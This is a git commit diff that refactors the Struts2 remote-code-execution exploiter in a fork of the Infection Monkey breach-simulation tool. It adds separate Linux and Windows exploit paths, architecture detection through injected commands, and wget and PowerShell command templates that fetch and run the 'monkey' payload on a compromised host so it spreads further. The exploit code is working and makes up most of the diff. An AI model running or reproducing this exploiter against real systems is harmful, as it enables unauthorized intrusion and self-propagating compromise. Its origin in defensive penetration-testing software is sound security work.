forked from p15670423/monkey
Struts exploitation working, and tested with win-64 and ubuntu
This commit is contained in:
parent
413bdd9254
commit
2d27972e7e
|
@ -23,11 +23,9 @@ MONKEY_ARG = "m0nk3y"
|
|||
# Commands used for downloading monkeys
|
||||
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
|
||||
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )
|
||||
# Command used to check whether host is vulnerable
|
||||
CHECK_COMMAND = "echo %s" % ID_STRING
|
||||
# Commands used to check for architecture
|
||||
CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING
|
||||
CHECK_LINUX = "%s && lscpu" % ID_STRING
|
||||
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
|
||||
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
|
||||
# Commands used to check if monkeys already exists
|
||||
EXISTS = "ls %s"
|
||||
|
||||
|
@ -47,7 +45,6 @@ class Struts2Exploiter(HostExploiter):
|
|||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
|
||||
def exploit_host(self):
|
||||
# TODO add skip if file exists
|
||||
# Initializing vars for convenience
|
||||
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
|
||||
dropper_path_linux = self._config.dropper_target_path_linux
|
||||
|
@ -65,56 +62,15 @@ class Struts2Exploiter(HostExploiter):
|
|||
# TODO remove struts from url
|
||||
current_host = "http://%s:%d/struts" % (self.host.ip_addr, port)
|
||||
# Get full URL
|
||||
current_host = self.get_redirected(current_host)
|
||||
url = self.get_redirected(current_host)
|
||||
# Get os architecture so that we don't have to update monkey
|
||||
|
||||
LOG.info("Trying to exploit with struts2")
|
||||
# Check if host is vulnerable and get host os architecture
|
||||
if 'linux' in self.host.os['type']:
|
||||
host_arch = Struts2Exploiter.try_exploit_linux(current_host)
|
||||
return self.exploit_linux(url, dropper_path_linux)
|
||||
else:
|
||||
host_arch = Struts2Exploiter.try_exploit_windows(current_host)
|
||||
|
||||
if host_arch:
|
||||
self.host.os['machine'] = host_arch
|
||||
|
||||
if current_host and host_arch:
|
||||
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
# create server for http download.
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
||||
return False
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
|
||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
||||
# Form command according to os
|
||||
if 'linux' in self.host.os['type']:
|
||||
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)):
|
||||
return True
|
||||
command = WGET_HTTP % {'monkey_path': dropper_path_linux,
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
else:
|
||||
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32)
|
||||
or self.check_remote_file(current_host, dropper_path_win_64)):
|
||||
return True
|
||||
command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32),
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
|
||||
self.exploit(current_host, command)
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
LOG.info("Struts2 exploit attempt finished")
|
||||
|
||||
return True
|
||||
|
||||
return False
|
||||
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
|
||||
|
||||
def check_remote_file(self, host, path):
|
||||
command = EXISTS % path
|
||||
|
@ -125,8 +81,92 @@ class Struts2Exploiter(HostExploiter):
|
|||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||
return True
|
||||
|
||||
def exploit_linux(self, url, dropper_path):
|
||||
host_arch = Struts2Exploiter.check_exploit_linux(url)
|
||||
if host_arch:
|
||||
self.host.os['machine'] = host_arch
|
||||
if url and host_arch:
|
||||
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
||||
# If monkey already exists and option not to exploit in that case is selected
|
||||
if self.skip_exist and (self.check_remote_file(url, dropper_path)):
|
||||
return True
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
# create server for http download.
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
||||
return False
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
|
||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
||||
command = WGET_HTTP % {'monkey_path': dropper_path,
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
|
||||
self.exploit(url, command, RESPONSE_TIMEOUT)
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
LOG.info("Struts2 exploit attempt finished")
|
||||
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def exploit_windows(self, url, dropper_paths):
|
||||
"""
|
||||
:param url: Where to send malicious request
|
||||
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
|
||||
:return: Bool. Successfully exploited or not
|
||||
"""
|
||||
host_arch = Struts2Exploiter.check_exploit_windows(url)
|
||||
if host_arch:
|
||||
self.host.os['machine'] = host_arch
|
||||
if url and host_arch:
|
||||
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
||||
# If monkey already exists and option not to exploit in that case is selected
|
||||
if self.skip_exist:
|
||||
for dropper_path in dropper_paths:
|
||||
if self.check_remote_file(url, dropper_path):
|
||||
return True
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
# Select the dir and name for monkey on the host
|
||||
if "windows-32" in src_path:
|
||||
dropper_path = dropper_paths[0]
|
||||
else:
|
||||
dropper_path = dropper_paths[1]
|
||||
# create server for http download.
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
||||
return False
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
|
||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
||||
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
# TODO Add timeout
|
||||
self.exploit(url, command)
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
LOG.info("Struts2 exploit attempt finished")
|
||||
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def try_exploit_windows(url):
|
||||
def check_exploit_windows(url):
|
||||
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
|
||||
if resp and ID_STRING in resp:
|
||||
if "64-bit" in resp:
|
||||
|
@ -137,13 +177,13 @@ class Struts2Exploiter(HostExploiter):
|
|||
return False
|
||||
|
||||
@staticmethod
|
||||
def try_exploit_linux(url):
|
||||
def check_exploit_linux(url):
|
||||
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
|
||||
if resp and ID_STRING in resp:
|
||||
if "x86_64" in resp:
|
||||
return "64"
|
||||
else:
|
||||
return "32"
|
||||
# Pulls architecture string
|
||||
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||
arch = arch.group(1)
|
||||
return arch
|
||||
else:
|
||||
return False
|
||||
|
||||
|
@ -162,8 +202,8 @@ class Struts2Exploiter(HostExploiter):
|
|||
"""
|
||||
:param url: Full url to send request to
|
||||
:param cmd: Code to try and execute on host
|
||||
:param timeout: How long to wait for response in seconds(if monkey is executed
|
||||
it's better not to wait it's whole output
|
||||
:param timeout: How long to wait for response in seconds(if monkey is being executed
|
||||
it's better not to wait it's whole output). By default we wait.
|
||||
:return: response
|
||||
"""
|
||||
page = ""
|
||||
|
|
|
@ -21,6 +21,11 @@ MONKEY_DOWNLOADS = [
|
|||
'machine': 'i686',
|
||||
'filename': 'monkey-linux-32',
|
||||
},
|
||||
{
|
||||
'type': 'linux',
|
||||
'machine': 'i386',
|
||||
'filename': 'monkey-linux-32',
|
||||
},
|
||||
{
|
||||
'type': 'linux',
|
||||
'filename': 'monkey-linux-64',
|
||||
|
@ -35,6 +40,16 @@ MONKEY_DOWNLOADS = [
|
|||
'machine': 'amd64',
|
||||
'filename': 'monkey-windows-64.exe',
|
||||
},
|
||||
{
|
||||
'type': 'windows',
|
||||
'machine': '64',
|
||||
'filename': 'monkey-windows-64.exe',
|
||||
},
|
||||
{
|
||||
'type': 'windows',
|
||||
'machine': '32',
|
||||
'filename': 'monkey-windows-32.exe',
|
||||
},
|
||||
{
|
||||
'type': 'windows',
|
||||
'filename': 'monkey-windows-32.exe',
|
||||
|
|
Loading…
Reference in New Issue